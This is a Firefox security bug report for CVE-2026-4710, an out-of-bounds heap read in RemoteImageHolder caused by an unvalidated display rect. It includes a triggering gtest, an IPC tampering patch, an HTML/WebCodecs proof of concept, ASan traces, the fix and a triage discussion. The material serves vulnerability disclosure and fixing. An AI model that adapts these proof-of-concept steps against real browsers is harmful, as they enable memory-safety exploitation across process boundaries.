2016370 - (CVE-2026-4710) RemoteImageHolder Display Rect Mismatch OOB Read

Status: RESOLVED FIXED

(Core :: Audio/Video, defect)

Description

[Sajeeb Lohani]

Compromised content process -> RDD/utility process via PRemoteEncoder::Encode.

RemoteImageHolder::DeserializeImage (RemoteImageHolder.cpp:81-88) validates shmem against plane sizes via ComputeYCbCrBufferSize but copies descriptor.display() to mPictureRect at line 95 without checking it fits within ySize/cbCrSize. CopyData (ImageContainer.cpp:908) uses YDataSize() (derived from mPictureRect, not plane size) to compute memcpy length. With display height=200 and ySize height=2, yStride=64: reads 12800 bytes from a 192-byte shmem.

Distinct from finding #16 (zero-size bypass uses misordered offsets). This uses valid monotonic offsets where ComputeYCbCrBufferSize returns the correct non-zero value.

The Bug

RemoteImageHolder.cpp:95 sets unvalidated display rect:

pData.mPictureRect = descriptor.display();  // no validation against ySize

ImageContainer.h:789-790 derives copy dimensions from display:

gfx::IntSize YDataSize() const {
    return gfx::IntSize(mPictureRect.XMost(), mPictureRect.YMost());
}

ImageContainer.cpp:889 does the OOB read:

memcpy(aDst, aSrc, height * aStride);  // height from display, reads past shmem

ASAN Proof

==45906==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61000025a000
READ of size 12800 at 0x61000025a000 thread T0
    #0 in __asan_memcpy
    #1 in RecyclingPlanarYCbCrImage::CopyData()+0x594

0x61000025a000 is located 0 bytes after 192-byte region [0x610000259f40,0x61000025a000)
SUMMARY: AddressSanitizer: heap-buffer-overflow in RecyclingPlanarYCbCrImage::CopyData()

PoC

gfx/tests/gtest/TestRemoteImageHolderOOB.cpp (test 3):

// Display rect vs plane size mismatch OOB read.
// Offsets are valid and monotonic (ComputeYCbCrBufferSize returns non-zero),
// but display.YMost() >> ySize.height. CopyData uses YDataSize() which
// derives from mPictureRect, not the actual plane sizes.
TEST(RemoteImageHolderOOB, DisplayRectMismatchOOBRead)
{
  const int32_t yStride = 64;
  const int32_t cbCrStride = 32;
  const IntSize ySize(64, 2);
  const IntSize cbCrSize(32, 1);

  const uint32_t yOffset = 0;
  const uint32_t cbOffset = 128;
  const uint32_t crOffset = 160;

  uint32_t descriptorSize = ImageDataSerializer::ComputeYCbCrBufferSize(
      ySize, yStride, cbCrSize, cbCrStride, yOffset, cbOffset, crOffset);

  ASSERT_GT(descriptorSize, 0u);

  UniquePtr<uint8_t[]> buffer(new uint8_t[descriptorSize]);
  memset(buffer.get(), 0xAA, descriptorSize);

  PlanarYCbCrData pData;
  pData.mYChannel = buffer.get() + yOffset;
  pData.mYStride = yStride;
  pData.mYSkip = 0;
  pData.mCbChannel = buffer.get() + cbOffset;
  pData.mCrChannel = buffer.get() + crOffset;
  pData.mCbCrStride = cbCrStride;
  pData.mCbSkip = 0;
  pData.mCrSkip = 0;
  pData.mColorDepth = ColorDepth::COLOR_8;
  pData.mYUVColorSpace = YUVColorSpace::BT601;
  pData.mColorRange = ColorRange::LIMITED;
  pData.mChromaSubsampling = ChromaSubsampling::HALF_WIDTH_AND_HEIGHT;

  // THE BUG: display rect height (200) >> ySize.height (2).
  // CopyPlane reads 200 * 64 = 12800 bytes from a 128-byte Y region.
  pData.mPictureRect = IntRect(0, 0, 64, 200);

  auto recycleBin = MakeRefPtr<BufferRecycleBin>();
  RefPtr<RecyclingPlanarYCbCrImage> image =
      new RecyclingPlanarYCbCrImage(recycleBin);

  // ASAN: heap-buffer-overflow READ of size 12800, past 192-byte buffer
  nsresult rv = image->CopyData(pData);
  (void)rv;
}

Run: ./mach gtest "RemoteImageHolderOOB.DisplayRectMismatchOOBRead"

Fix

Validate display rect against plane dimensions after the shmem check:

if (descriptor.display().XMost() > descriptor.ySize().width ||
    descriptor.display().YMost() > descriptor.ySize().height ||
    descriptor.display().x < 0 || descriptor.display().y < 0) {
    return nullptr;
}

Comment 1

[Sajeeb Lohani]

OOB heap read in RemoteImageHolder::DeserializeImage via display rect / plane size mismatch. A compromised content process sends a PRemoteEncoder::Encode message with a YCbCrDescriptor where display().YMost() is much larger than ySize().height. The plane offsets are valid and monotonic, so ComputeYCbCrBufferSize returns a correct non-zero value and the descriptorSize > bufferSize check passes. But CopyData derives the copy length from YDataSize() (ImageContainer.h:789), which uses mPictureRect (the display rect), not the actual plane dimensions. CopyPlane then does memcpy(dst, src, height * stride) where height comes from the display rect. RDD/utility process, ASan confirmed.

This is a different bug from the zero-size bypass (finding #16). That one uses misordered offsets to make ComputeYCbCrBufferSize return 0. This one uses perfectly valid offsets but a mismatched display rect.

RemoteImageHolder.cpp:95 copies the display rect without validation:

pData.mPictureRect = descriptor.display();

ComputeYCbCrBufferSize (ImageDataSerializer.cpp:80-113) validates plane offsets and sizes but has no display parameter at all. It doesn't know about the display rect. So with ySize(64,2) and display(0,0,64,1000), the buffer check validates ~192 bytes against the shmem (passes), but CopyPlane reads 1000 * 64 = 64000 bytes from position 0. That's ~63808 bytes past the shmem.

YDataSize() at ImageContainer.h:789:

gfx::IntSize YDataSize() const {
    return gfx::IntSize(mPictureRect.XMost(), mPictureRect.YMost());
}

Content-side IPC patch (apply with git apply):

diff --git a/dom/media/ipc/RemoteImageHolder.cpp b/dom/media/ipc/RemoteImageHolder.cpp
index 85ccfea9e107..4e1b0dc8e720 100644
--- a/dom/media/ipc/RemoteImageHolder.cpp
+++ b/dom/media/ipc/RemoteImageHolder.cpp
@@ -185,6 +185,38 @@ RemoteImageHolder::~RemoteImageHolder() {

 /* static */ void IPC::ParamTraits<mozilla::RemoteImageHolder>::Write(
     MessageWriter* aWriter, mozilla::RemoteImageHolder&& aParam) {
+  // PoC: replace descriptor with YCbCr having display rect >> plane sizes.
+  // Valid monotonic offsets pass ComputeYCbCrBufferSize, but display height
+  // (1000) vs ySize height (2) causes CopyData to read 64000 bytes from a
+  // small shmem via YDataSize() -> CopyPlane memcpy.
+  static bool sTampered = false;
+  if (!sTampered && aParam.mSD &&
+      aParam.mSD->type() ==
+          mozilla::layers::SurfaceDescriptor::TSurfaceDescriptorBuffer) {
+    sTampered = true;
+    auto& sdBuf = aParam.mSD->get_SurfaceDescriptorBuffer();
+    if (sdBuf.data().type() == mozilla::layers::MemoryOrShmem::TShmem &&
+        sdBuf.data().get_Shmem().Size<uint8_t>() > 0) {
+      // Small planes with valid monotonic offsets.
+      // Y: 64x2, stride=64 -> 128 bytes at offset 0
+      // Cb: 32x1, stride=32 -> 32 bytes at offset 128
+      // Cr: 32x1, stride=32 -> 32 bytes at offset 160
+      // Total descriptor = ~192. Fits in any shmem.
+      // But display height = 1000 -> YDataSize = (64, 1000)
+      // CopyPlane reads 1000*64 = 64000 bytes from offset 0.
+      sdBuf.desc() = mozilla::layers::YCbCrDescriptor(
+          mozilla::gfx::IntRect(0, 0, 64, 1000),  // display >> ySize
+          mozilla::gfx::IntSize(64, 2), 64,        // ySize, yStride
+          mozilla::gfx::IntSize(32, 1), 32,         // cbCrSize, cbCrStride
+          0,                                        // yOffset
+          128,                                      // cbOffset
+          160,                                      // crOffset
+          mozilla::StereoMode::MONO,
+          mozilla::gfx::ColorDepth::COLOR_8,
+          mozilla::gfx::YUVColorSpace::BT601,
+          mozilla::gfx::ColorRange::LIMITED,
+          mozilla::gfx::ChromaSubsampling::HALF_WIDTH_AND_HEIGHT);
+    }
+  }
+
   WriteParam(aWriter, aParam.mSource);
   WriteParam(aWriter, aParam.mSize);
   WriteParam(aWriter, aParam.mColorDepth);

The patch intercepts ParamTraits<RemoteImageHolder>::Write (content-side serialization). On the first SurfaceDescriptorBuffer, it replaces the buffer descriptor with a crafted YCbCrDescriptor that has small planes (fitting any shmem) but a display rect 500x taller than the Y plane. The shmem is left intact.

HTML PoC (same file as finding #16, just needs the different patch applied):

<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>RemoteImageHolder display rect OOB</title></head>
<body>
<pre id="log"></pre>
<canvas id="c" width="64" height="64"></canvas>
<script>
const log = document.getElementById('log');
function msg(s) { log.textContent += s + '\n'; }

msg('RemoteImageHolder Display Rect Mismatch OOB Read');
msg('Content -> RDD/utility via PRemoteEncoder::Encode');
msg('');

async function tryEncode(codec, width, height) {
  return new Promise((resolve) => {
    msg('Trying codec: ' + codec + ' (' + width + 'x' + height + ')');
    const canvas = document.getElementById('c');
    canvas.width = width;
    canvas.height = height;
    const ctx = canvas.getContext('2d');
    ctx.fillStyle = '#ff0000';
    ctx.fillRect(0, 0, width, height);

    let encoded = false;
    const encoder = new VideoEncoder({
      output: (chunk, meta) => {
        msg('  Encoded chunk: ' + chunk.byteLength + ' bytes');
        encoded = true;
      },
      error: (e) => {
        msg('  Encoder error: ' + e.message);
      }
    });

    try {
      encoder.configure({
        codec: codec,
        width: width,
        height: height,
        bitrate: 1000000,
        framerate: 30,
      });

      for (let i = 0; i < 3; i++) {
        const frame = new VideoFrame(canvas, { timestamp: i * 33333 });
        encoder.encode(frame, { keyFrame: i === 0 });
        frame.close();
      }

      encoder.flush().then(() => {
        if (encoded) {
          msg('  Frames encoded via ' + codec);
          msg('  Check ASan output for OOB read in DeserializeImage.');
        } else {
          msg('  No output from ' + codec);
        }
        encoder.close();
        resolve(encoded);
      }).catch((e) => {
        msg('  Flush error: ' + e.message);
        resolve(false);
      });
    } catch (e) {
      msg('  Configure error: ' + e.message);
      resolve(false);
    }
  });
}

async function run() {
  if (typeof VideoEncoder === 'undefined') {
    msg('VideoEncoder API not available');
    msg('Set dom.media.webcodecs.enabled = true');
    return;
  }

  const codecs = [
    ['avc1.42001E', 64, 64],
    ['vp8', 64, 64],
    ['vp09.00.10.08', 64, 64],
  ];

  for (const [codec, w, h] of codecs) {
    const ok = await tryEncode(codec, w, h);
    if (ok) {
      msg('');
      msg('Done. If patched + remote encoder enabled:');
      msg('  RDD/utility process hit OOB read in CopyData.');
      break;
    }
  }
}

run();
</script>
</body>
</html>

Steps to reproduce:

1. Apply the patch: git apply pocs/remote_imageholder_display_rect_oob_ipc.patch
2. Add to profile's user.js:

   user_pref("media.use-remote-encoder.video", true);
   user_pref("dom.media.webcodecs.enabled", true);
   

3. Build with ASan: ./mach build
4. Serve the HTML: cd pocs && python3 -m http.server 8766
5. Run: ASAN_OPTIONS="detect_leaks=0" ./mach run -- http://localhost:8766/remote_imageholder_display_rect_oob_ipc.html

ASan output (RDD/utility process, thread T11):

==3903==ERROR: AddressSanitizer: SEGV on unknown address 0x00010c990000 (pc 0x000184a373c0 bp 0x0001702231f0 sp 0x0001702229a0 T11)
==3903==The signal is caused by a READ memory access.
    #0 0x000184a373c0 in _platform_memmove+0x60 (/usr/lib/system/libsystem_platform.dylib:arm64+0x33c0)
    #1 in mozilla::layers::RecyclingPlanarYCbCrImage::CopyData(mozilla::layers::PlanarYCbCrData const&)+0x594
    #2 in mozilla::RemoteImageHolder::DeserializeImage(mozilla::layers::BufferRecycleBin*)+0x464
    #3 in mozilla::RemoteImageHolder::TransferToImage(mozilla::layers::BufferRecycleBin*)+0xf8
    #4 in mozilla::RemoteMediaDataEncoderParent::RecvEncode(mozilla::EncodedInputIPDL const&, ...)+0x5b8
    #5 in mozilla::PRemoteEncoderParent::OnMessageReceived(IPC::Message const&)+0x9d0
    #6 in mozilla::PRemoteMediaManagerParent::OnMessageReceived(IPC::Message const&)+0x5e4
    #7 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(...)+0x2c8
SUMMARY: AddressSanitizer: SEGV in _platform_memmove+0x60

The GTest at gfx/tests/gtest/TestRemoteImageHolderOOB.cpp also covers this (DisplayRectMismatchOOBRead test), runnable with ./mach gtest "RemoteImageHolderOOB.DisplayRectMismatchOOBRead".

Fix: validate display rect against plane dimensions after the shmem size check in DeserializeImage:

if (descriptor.display().XMost() > descriptor.ySize().width ||
    descriptor.display().YMost() > descriptor.ySize().height ||
    descriptor.display().x < 0 || descriptor.display().y < 0) {
  return nullptr;
}

Comment 2

[Daniel Veditz [:dveditz]]

webcodecs are available everywhere except Android, but it doesn't look like this attack would work without enabling the use-remote-encoder pref? That doesn't affect the security rating we would give it if we have a plan to ship this feature, but it would put it out of scope of our bug bounty program.

Comment 3

[C.M.Chang[:chunmin]]

Attachment: (secure)

Comment 4

[C.M.Chang[:chunmin]]

Attachment: (secure)

Comment 5

[C.M.Chang[:chunmin]]

Comment on attachment 9546954 [details]
(secure)

Security Approval Request

• How easily could an exploit be constructed based on the patch?: Moderate. The patch adds a check that the YCbCr display rect is contained within the Y plane dimensions, which reveals that previously the display rect was not validated. A security researcher familiar with the media pipeline could connect this to the CopyData path where YDataSize() derives copy dimensions from the display rect, but it requires understanding multiple layers of indirection (DeserializeImage -> PlanarYCbCrData -> CopyData -> CopyPlane) to identify the consequence.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
• Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: All supported branches.
• If not all supported branches, which bug introduced the flaw?: N/A
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: Backports are not yet prepared. The fix is a small, self-contained validation check (adding a single conditional that returns nullptr). Backport risk is low — the DeserializeImage function structure is stable across branches.
• How likely is this patch to cause regressions; how much testing does it need?: Low. The patch adds a validation check that only rejects descriptors with display rect exceeding plane dimensions — valid inputs are unaffected. The change is small, has r+, and has been tested locally. No API or behavioral changes for conforming callers.
• Is the patch ready to land after security approval is given?: Yes
• Is Android affected?: Yes

Comment 6

[Phabricator Automation]

Comment on attachment 9546953 [details]
(secure)

Revision D284357 was moved to bug 2019109. Setting attachment 9546953 [details] to obsolete.

Comment 7

[Daniel Veditz [:dveditz]]

Comment on attachment 9546954 [details]
(secure)

sec-approval+

Comment 8

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/cf45e8f3d886
https://hg.mozilla.org/integration/autoland/rev/c3248084909f
Validate display rect against plane dimensions in RemoteImageHolder r=media-playback-reviewers,padenot

Comment 9

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/c3248084909f

Comment 10

[BugBot [:suhaib / :marco]]

The patch landed in nightly and beta is affected.
:chunmin, is this bug important enough to require an uplift?

• If yes, please nominate the patch for beta approval.
  • See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
• If no, please set status-firefox149 to wontfix.

For more information, please visit BugBot documentation.

Comment 11

[C.M.Chang[:chunmin]]

This is a hypothetical situation, so I don't think we need to uplift it. Additionally, if we need, the patch in bug 2018113 is a better option since it would fix multiple possible route at once.

Comment 12

[Daniel Veditz [:dveditz]]

We need this bug fixed on old branches: see bug 2015268 comment 15.

the patch in bug 2018113 is a better option

Is the dependency set the wrong way, then? I interpret the blocking as bug 2018113's patch needs this bug's fix as a prerequisite.

Comment 13

[Timothy Nikkel (:tnikkel)]

(In reply to Daniel Veditz [:dveditz] from comment #12)

We need this bug fixed on old branches: see bug 2015268 comment 15.

the patch in bug 2018113 is a better option

Is the dependency set the wrong way, then? I interpret the blocking as bug 2018113's patch needs this bug's fix as a prerequisite.

Bug 2018113 depends trivially on this patch in that it undoes this patch for a more general fix. I suggest just uplifting bug 2018113 (which I plan to do once bug 2018103 is uplifted).

Comment 14

[Ryan VanderMeulen [:RyanVM]]

Hi, just following up on the needed uplift requests :-)

Comment 15

[Timothy Nikkel (:tnikkel)]

Yeah, I intended to do that today but I ended up looking at a new sec high that came in. I'll clear the needinfo here and leave the one in bug 2018113 where the uplift will actually happen.